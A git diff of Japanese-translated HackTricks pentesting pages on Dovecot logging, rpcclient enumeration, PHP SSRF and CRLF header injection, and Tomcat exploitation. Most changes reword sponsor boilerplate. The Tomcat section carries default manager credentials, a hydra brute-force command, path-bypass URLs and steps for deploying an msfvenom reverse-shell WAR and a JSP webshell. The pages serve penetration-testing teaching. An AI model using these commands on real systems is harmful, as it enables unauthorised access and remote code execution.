| `auth_debug_passwords` | この設定はログの詳細度を調整し、送信されたパスワードとスキームが記録されます。 |
|
||||
| `auth_debug_passwords` | この設定はログの詳細度を調整し、送信されたパスワードとスキームがログに記録されます。 |
|
||||
| `auth_verbose` | 認証に失敗した試行とその理由が記録されます。 |
|
||||
| `auth_verbose_passwords` | 認証に使用されるパスワードが記録され、切り捨てられることもあります。 |
|
||||
| `auth_anonymous_username` | ANONYMOUS SASL メカニズムを使用してログインする際に使用するユーザー名を指定します。 |
|
||||
| `auth_anonymous_username` | ANONYMOUS SASLメカニズムを使用してログインする際に使用するユーザー名を指定します。 |
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -156,9 +156,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
|
|||
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです。
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,27 +24,27 @@
|
|||
|
||||
**相対識別子(RID)**と**セキュリティ識別子(SID)**は、Windowsオペレーティングシステムにおいて、ネットワークドメイン内のユーザーやグループなどのオブジェクトを一意に識別および管理するための重要なコンポーネントです。
|
||||
|
||||
- **SID**は、各ドメインを区別可能にするための一意の識別子として機能します。
|
||||
- **RID**は、これらのドメイン内のオブジェクトの一意の識別子を作成するためにSIDに追加されます。この組み合わせにより、オブジェクトの権限とアクセス制御を正確に追跡および管理できます。
|
||||
- **SIDs**は、各ドメインが区別可能であることを保証するための一意の識別子として機能します。
|
||||
- **RIDs**は、これらのドメイン内のオブジェクトのための一意の識別子を作成するためにSIDsに追加されます。この組み合わせにより、オブジェクトの権限とアクセス制御を正確に追跡および管理することが可能となります。
|
||||
|
||||
たとえば、ユーザー名が`pepe`の場合、そのユニークな識別子は、ドメインのSIDと彼の特定のRIDを組み合わせたもので、16進数(`0x457`)および10進数(`1111`)の形式で表されます。これにより、pepeのドメイン内での完全かつ一意の識別子が次のように生成されます:`S-1-5-21-1074507654-1937615267-42093643874-1111`。
|
||||
|
||||
|
||||
### **rpcclientを使用した列挙**
|
||||
|
||||
Sambaの**`rpcclient`**ユーティリティは、**名前付きパイプを介してRPCエンドポイント**とやり取りするために使用されます。**SMBセッションが確立された後**、しばしば資格情報が必要となります。
|
||||
Sambaの**`rpcclient`**ユーティリティは、**名前付きパイプを介してRPCエンドポイント**とやり取りするために使用されます。**SMBセッションが確立された後**に、しばしば資格情報が必要となります。
|
||||
|
||||
#### サーバー情報
|
||||
|
||||
* **サーバー情報を取得**するには、`srvinfo`コマンドを使用します。
|
||||
* **サーバー情報を取得**するには:`srvinfo`コマンドを使用します。
|
||||
|
||||
#### ユーザーの列挙
|
||||
|
||||
* **ユーザーをリストアップ**するには:`querydispinfo`および`enumdomusers`を使用します。
|
||||
* **ユーザーの詳細**は:`queryuser <0xrid>`で取得します。
|
||||
* **ユーザーのグループ**は:`queryusergroups <0xrid>`で取得します。
|
||||
* **ユーザーのSID**は、`lookupnames <username>`を使用して取得します。
|
||||
* **ユーザーのエイリアス**は、`queryuseraliases [builtin|domain] <sid>`で取得します。
|
||||
* **ユーザーのSIDは**:`lookupnames <username>`を使用して取得します。
|
||||
* **ユーザーのエイリアス**は:`queryuseraliases [builtin|domain] <sid>`で取得します。
|
||||
```bash
|
||||
# Users' RIDs-forced
|
||||
for i in $(seq 500 1100); do
|
||||
|
@ -57,12 +57,12 @@ done
|
|||
|
||||
* **グループ**:`enumdomgroups`による。
|
||||
* **グループの詳細**:`querygroup <0xrid>`を使用。
|
||||
* **グループのメンバー**:`querygroupmem <0xrid>`を通じて。
|
||||
* **グループのメンバー**:`querygroupmem <0xrid>`を介して。
|
||||
|
||||
#### エイリアスグループの列挙
|
||||
|
||||
* **エイリアスグループ**:`enumalsgroups <builtin|domain>`による。
|
||||
* **エイリアスグループのメンバー**:`queryaliasmem builtin|domain <0xrid>`で。
|
||||
* **エイリアスグループのメンバー**:`queryaliasmem builtin|domain <0xrid>`を使用。
|
||||
|
||||
#### ドメインの列挙
|
||||
|
||||
|
@ -73,13 +73,13 @@ done
|
|||
#### 共有の列挙
|
||||
|
||||
* **利用可能なすべての共有**:`netshareenumall`による。
|
||||
* **特定の共有に関する情報の取得**:`netsharegetinfo <share>`で。
|
||||
* **特定の共有に関する情報の取得**:`netsharegetinfo <share>`を使用。
|
||||
|
||||
#### SIDを使用した追加操作
|
||||
|
||||
* **名前からSIDへの変換**:`lookupnames <username>`を使用。
|
||||
* **さらなるSID**:`lsaenumsid`を通じて。
|
||||
* **RIDサイクリングによるさらなるSIDの確認**:`lookupsids <sid>`によって実行。
|
||||
* **さらなるSID**:`lsaenumsid`を介して。
|
||||
* **RIDサイクリングによるさらなるSIDの確認**:`lookupsids <sid>`によって実行される。
|
||||
|
||||
#### **追加コマンド**
|
||||
|
||||
|
@ -94,16 +94,16 @@ done
|
|||
| deletedomuser | ドメインユーザーの削除 | |
|
||||
| lookupnames | LSARPC | ユーザー名をSID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8)値に変換する |
|
||||
| lookupsids | SIDをユーザー名に変換する(RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)サイクリング) | |
|
||||
| lsaaddacctrights | ユーザーアカウントに権限を追加 | |
|
||||
| lsaremoveacctrights | ユーザーアカウントから権限を削除 | |
|
||||
| lsaaddacctrights | ユーザーアカウントに権限を追加する | |
|
||||
| lsaremoveacctrights | ユーザーアカウントから権限を削除する | |
|
||||
| dsroledominfo | LSARPC-DS | プライマリドメイン情報の取得 |
|
||||
| dsenumdomtrusts | ADフォレスト内の信頼されるドメインの列挙 | |
|
||||
| dsenumdomtrusts | ADフォレスト内の信頼されたドメインの列挙 | |
|
||||
|
||||
**_samrdump_** **および** **_rpcdump_** の動作を理解するには、[**Pentesting MSRPC**](../135-pentesting-msrpc.md)を読むことをお勧めします。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -113,8 +113,8 @@ done
|
|||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)および[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,16 +7,16 @@
|
|||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
- **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する。**
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,7 +24,7 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
### SSRF PHP関数
|
||||
|
||||
**file\_get\_contents()、fopen()、file()、md5\_file()**などのいくつかの関数は、**URLを入力として受け入れ、データを制御できる場合に** **SSRF脆弱性を引き起こす可能性があります**。
|
||||
**file\_get\_contents()、fopen()、file()、md5\_file()**などのいくつかの関数は、URLを入力として受け入れ、**使用者がデータを制御できる場合には**、それに従って**SSRF脆弱性が発生する可能性**があります。
|
||||
```php
|
||||
file_get_contents("http://127.0.0.1:8081");
|
||||
fopen("http://127.0.0.1:8081", "r");
|
||||
|
@ -33,7 +33,7 @@ md5_file("http://127.0.0.1:8081");
|
|||
```
|
||||
### CRLF
|
||||
|
||||
さらに、いくつかのケースでは、前述の関数における CRLF "脆弱性" を介して任意のヘッダーを送信することさえ可能かもしれません。
|
||||
さらに、いくつかのケースでは、前述の関数におけるCRLF "脆弱性"を介して任意のヘッダーを送信することさえ可能かもしれません。
|
||||
```php
|
||||
# The following will create a header called from with value Hi and
|
||||
# an extra header "Injected: I HAVE IT"
|
||||
|
@ -52,7 +52,7 @@ Connection: close
|
|||
そのCRLF脆弱性についての詳細は、このバグを確認してください [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
|
||||
{% endhint %}
|
||||
|
||||
これらの関数には、リクエストで任意のヘッダーを設定する他の方法があるかもしれません。
|
||||
これらの関数には、リクエスト内で任意のヘッダーを設定する他の方法があるかもしれません。
|
||||
```php
|
||||
$url = "";
|
||||
|
||||
|
@ -70,21 +70,21 @@ $file = file_get_contents($url, false, $context);
|
|||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[@carlospolopm](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -31,7 +31,7 @@
|
|||
|
||||
### **バージョン識別**
|
||||
|
||||
Apache Tomcatのバージョンを見つけるには、次の単純なコマンドを実行できます:
|
||||
Apache Tomcatのバージョンを見つけるには、次の単純なコマンドを実行できます:
|
||||
```bash
|
||||
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||||
```
|
||||
|
@ -41,13 +41,13 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
|||
|
||||
### **ユーザー名の列挙**
|
||||
|
||||
Tomcat バージョンが6より古い場合、次の方法でユーザー名を列挙することが可能です:
|
||||
Tomcatのバージョンが6より古い場合、次の方法でユーザー名を列挙することが可能です:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
### **デフォルトの資格情報**
|
||||
|
||||
**`/manager/html`** ディレクトリはWAR ファイルのアップロードと展開を許可するため、コードの実行につながる可能性があるため、特に重要です。このディレクトリは基本的なHTTP認証で保護されており、一般的な資格情報は次のとおりです:
|
||||
**`/manager/html`** ディレクトリはWAR ファイルのアップロードと展開を許可するため、コードの実行につながる可能性があるため、特に重要です。このディレクトリは一般的な資格情報によって保護されており、一般的な資格情報は次のとおりです:
|
||||
|
||||
* admin:admin
|
||||
* tomcat:tomcat
|
||||
|
@ -60,7 +60,7 @@ msf> use auxiliary/scanner/http/tomcat_enum
|
|||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
別の注目すべきディレクトリは**`/manager/status`**で、TomcatとOSのバージョンを表示し、脆弱性の特定を支援します。
|
||||
別の注目すべきディレクトリは**`/manager/status`**で、TomcatとOSのバージョンを表示し、脆弱性の特定に役立ちます。
|
||||
|
||||
### **ブルートフォース攻撃**
|
||||
|
||||
|
@ -78,13 +78,13 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
|
|||
|
||||
### **ダブルURLエンコーディング**
|
||||
|
||||
`mod_jk` のCVE-2007-1860脆弱性により、ダブルURLエンコーディングパストラバーサルが可能となり、特別に作成されたURLを介して管理インターフェースへの不正アクセスが可能となります。
|
||||
`mod_jk` の CVE-2007-1860 脆弱性により、ダブルURLエンコーディングパストラバーサルが可能となり、特別に作成されたURLを介して管理インターフェースへの不正アクセスが可能となります。
|
||||
|
||||
Tomcatの管理ウェブにアクセスするには、`pathTomcat/%252E%252E/manager/html` に移動します。
|
||||
|
||||
### /examples
|
||||
|
||||
Apache Tomcat バージョン4.xから7.xには、情報開示やクロスサイトスクリプティング(XSS)攻撃に対して脆弱なサンプルスクリプトが含まれています。これらのスクリプトは、権限なしでのアクセスや潜在的な悪用をチェックする必要があります。[詳細はこちら](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
Apache Tomcat バージョン 4.x から 7.x には、情報開示やクロスサイトスクリプティング(XSS)攻撃に対して脆弱なサンプルスクリプトが含まれています。これらのスクリプトは、権限のないアクセスや潜在的な悪用をチェックするために、包括的にリストされています。[詳細はこちら](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /examples/jsp/num/numguess.jsp
|
||||
* /examples/jsp/dates/date.jsp
|
||||
|
@ -113,17 +113,17 @@ Apache Tomcat バージョン4.xから7.xには、情報開示やクロスサイ
|
|||
|
||||
一部の[Tomcatの脆弱な構成](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)では、`/..;/` のパスを使用してTomcatの保護されたディレクトリにアクセスできます。
|
||||
|
||||
例えば、`www.vulnerable.com/lalala/..;/manager/html` にアクセスすることで、Tomcatマネージャーページにアクセスできるかもしれません。
|
||||
例えば、`www.vulnerable.com/lalala/..;/manager/html` にアクセスすることで、**Tomcatマネージャ**ページにアクセスできるかもしれません。
|
||||
|
||||
このトリックを使用して保護されたパスをバイパスする別の方法は、`http://www.vulnerable.com/;param=value/manager/html` にアクセスすることです。
|
||||
このトリックを使用して保護されたパスをバイパスする**別の方法**は、`http://www.vulnerable.com/;param=value/manager/html` にアクセスすることです。
|
||||
|
||||
## RCE
|
||||
|
||||
最後に、Tomcat Webアプリケーションマネージャーにアクセスできる場合、`.war` ファイルをアップロードして展開し、コードを実行できます。
|
||||
最後に、Tomcat Webアプリケーションマネージャにアクセスできる場合、**.warファイル(コードの実行)をアップロードおよび展開**できます。
|
||||
|
||||
### 制限事項
|
||||
|
||||
WARを展開できるのは、**十分な権限(admin、manager、manager-scriptの役割)**を持っている場合のみです。これらの詳細は通常、`/usr/share/tomcat9/etc/tomcat-users.xml` に定義されています(バージョンによって異なります)([POST ](tomcat.md#post)セクションを参照)。
|
||||
WARを展開できるのは、**十分な権限(ロール: **admin**、**manager**、**manager-script**)を持っている場合に限ります。これらの詳細は通常、`/usr/share/tomcat9/etc/tomcat-users.xml` に定義されています(バージョンによって異なります)([POST ](tomcat.md#post)セクションを参照)。
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
@ -150,11 +150,11 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
|||
```bash
|
||||
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
```
|
||||
2. `revshell.war`ファイルをアップロードし、それにアクセスします (`/revshell/`):
|
||||
### `revshell.war`ファイルをアップロードして、それにアクセスします (`/revshell/`):
|
||||
|
||||
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)を使用したバインドおよびリバースシェル
|
||||
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)を使用してバインドシェルとリバースシェルを作成します
|
||||
|
||||
一部のシナリオではこれが機能しないことがあります (たとえばsunの古いバージョンの場合)
|
||||
いくつかのシナリオではこれが機能しないことがあります(たとえば、古いバージョンのsun)
|
||||
|
||||
#### ダウンロード
|
||||
```bash
|
||||
|
@ -205,7 +205,7 @@ jar -cvf ../webshell.war *
|
|||
webshell.war is created
|
||||
# Upload it
|
||||
```
|
||||
### マニュアル方法2
|
||||
### 手動方法2
|
||||
|
||||
JSPウェブシェル([こちら](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp))を取得し、WARファイルを作成します。
|
||||
```bash
|
||||
|
@ -236,18 +236,18 @@ msf> use post/windows/gather/enum_tomcat
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセス**したいですか?または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)**と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。**
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)**と**[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、ハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,9 +4,9 @@
|
|||
|
||||
